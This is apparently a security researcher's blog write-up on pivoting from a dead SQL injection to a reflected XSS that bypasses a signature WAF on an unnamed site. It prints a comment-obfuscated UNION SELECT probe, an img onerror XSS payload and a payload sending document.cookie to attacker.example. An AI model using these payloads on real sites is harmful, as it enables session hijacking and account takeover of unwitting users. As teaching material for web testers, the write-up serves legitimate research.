September 11, 2026
From Dead SQLi To Live Session Hijack.
Introduction:
By Darshan Narayan
4 min read
When you first start hunting for vulnerabilities, you get tunnel vision fast. You see a numeric parameter, your brain screams SQL injection, and you spend the next hour throwing UNION SELECT at a wall that isn't going to move.
Real testing isn't about forcing a bug into a shape you already understand. It's about listening to how the application responds β and being willing to walk away from the parameter that looks interesting for the one that actually is.
This is how a dead-end SQLi turned into a working reflected XSS with session hijacking, on a site I'd rather not name.
The starting point
Recon is unglamorous. I had a browser, a notepad, and a habit of poking at sites that look like they were built in a hurry. The kind where the footer still says "Β© 2019" and the contact form posts to a Gmail address.
I wasn't looking for anything specific. Just reading parameters, seeing what came back. One page caught my eye. page.php?id=13 β a classic numeric parameter, the kind that either falls over on a single quote or doesn't. I sent one.
406 Not Acceptable. No error page. No stack trace. Just a crisp refusal, delivered before my input ever touched the application.
That response is a signature. A WAF β or some aggressive input filter sitting in front of the app β is watching the request, recognizing the shape of an injection attempt, and dropping the connection.
I tried the obvious bypass:
GET /page.php?id=13/**/UNION/**/SELECT/**/NULL-- GET /page.php?id=13/**/UNION/**/SELECT/**/NULL--Inline comments to break up the keywords. Classic move. The 406 vanished. The page loaded.
But the content was identical to the baseline. So I enumerated columns. Then ORDER BY. Then ?id=14-1 to see if the parameter was doing arithmetic. Nothing. The output never moved.
Two possibilities. Either the parameter is being typecast to an integer before it ever reaches a query β which would silently slice off every string I appended β or the backend is using prepared statements and there's nothing to inject into.
Either way, SQLi is over. I closed the tab on it and went back to the site structure.
Shifting gears:
This is the part where most people quit and move to a different target. I did the opposite β I looked at what else the site was doing with user input.
Navigation links. A gallery. A filter parameter.
GET /gallery.php?cat=Lorem+ipsumGET /gallery.php?cat=Lorem+ipsumA string parameter. Not numeric. Not typecast. Reflected directly into the page.
I appended a marker:
GET /gallery.php?cat=Lorem+ipsum'helloGET /gallery.php?cat=Lorem+ipsum'helloThe page loaded. No error. The string came back β single quote and all β sitting in the page header.
I opened the source.
The same input, two very different places
It landed twice.
First, in the tag:
<title>Lorem ipsum'hello - Site Name</title><title>Lorem ipsum'hello - Site Name</title>Here's the thing people miss about . The HTML parser treats everything inside it as passive text. It doesn't tokenize tags. It doesn't build nodes. It reads characters until it hits a literal and then stops.
Even if angle brackets passed through here unencoded, a script inside would just be text. It would never execute. The only way out is to close the tag yourself β and that requires <, which this context was filtering.
Dead end. Move on.
Then, forty lines down, in the body:
<h2>Lorem ipsum'hello</h2><h2>Lorem ipsum'hello</h2>Completely different world. The body is parsed as live markup. If the server doesn't encode <, the browser will happily build whatever element I send into a real DOM node.
Same parameter. Same page. Same request. Two contexts, two completely different security postures β decided entirely by where the developer happened to echo the string.
Testing the filter
I needed to know what the server was actually stripping. So I sent fragments.
β came back as a live tag. Text rendered underlined. No error.
That's HTML injection confirmed, and I hadn't even tried JavaScript yet.
So I went for the obvious:
<script>alert(1)</script> <script>alert(1)</script>406 error again same refusal as the SQLi attempt. The WAF recognised the patternβββthe literal string <scriptβββand dropped the request before the app saw it.
I tried casing: . Blocked. I tried whitespace breaks: <script >. Blocked. I tried URL-encoding. Blocked.
The filter was normalizing case, decoding, and matching against a signature. For that specific pattern, it was thorough.
Here's what I realized: I don't need a script tag to run JavaScript.
Any HTML element with an on* attribute will execute its value when the corresponding event fires. The WAF was looking for <script. It wasn't looking for this
<img src=x onerror=alert(1)><img src=x onerror=alert(1)>Break it down:
β unremarkable. No signature match.
- src=x β a source that will never resolve.
- onerror=alert(1) β the handler that fires when loading fails.
The browser builds the image node. It attempts to fetch x. The fetch fails. The failure triggers onerror. The handler runs.
Popup.
No tag anywhere in the request. Just an image that was never going to load, and a fallback handler doing exactly what fallback handlers do.
Confirming what I actually had
A popup proves execution. It doesn't prove impact. Before I got excited, I checked one thing.
Open DevTools. Look at the cookie storage panel. Check the HttpOnly column.
HttpOnly set β document.cookie can't read it. Session theft via XSS is blocked. Impact drops to content injection and in-page CSRF. HttpOnly not set β the cookie is readable from JavaScript. Now you have a path to session hijacking.
Not set.
Which means this payload was viable:
<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)"><img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">A victim loads a URL that looks like it belongs to a site they trust. The script runs in their authenticated session. It reads the cookie. It sends it outbound.
The attacker now holds a valid session token. Full account takeover β without ever knowing the password.
That's the gap between a bug and an incident, and it was decided by one attribute nobody set.
Key Takeaways for Researchers:
- Context Determines Execution: The same reflected string was inert inside and executable inside <body>. Two reflection points on one page, two completely different outcomes. Always enumerate every place your input landsβββnot just the first one you find.
- Signature Filters Are Not Sanitisation: The WAF blocked but had no coverage for inline event handlers like onerror. When one execution vector is blocked, map what the filter is actually matching before assuming JavaScript is off the table. Blocking a tag is not blocking the language.
- Verify Impact Before Escalating: A popup proves execution. Checking the HttpOnly flag on the session cookie proves impact. One attribute was the difference between a reflected bug and full account takeover. Check it before you write anything up.
- Watch the Small Details: A 406 on a numeric parameter. A string reflecting two pages later. Angle brackets passing through in one context and not the other. The bug wasn't hidden it was sitting in the details the whole time. Pay attention to what the application tells you at every step, and let it lead you to the next one.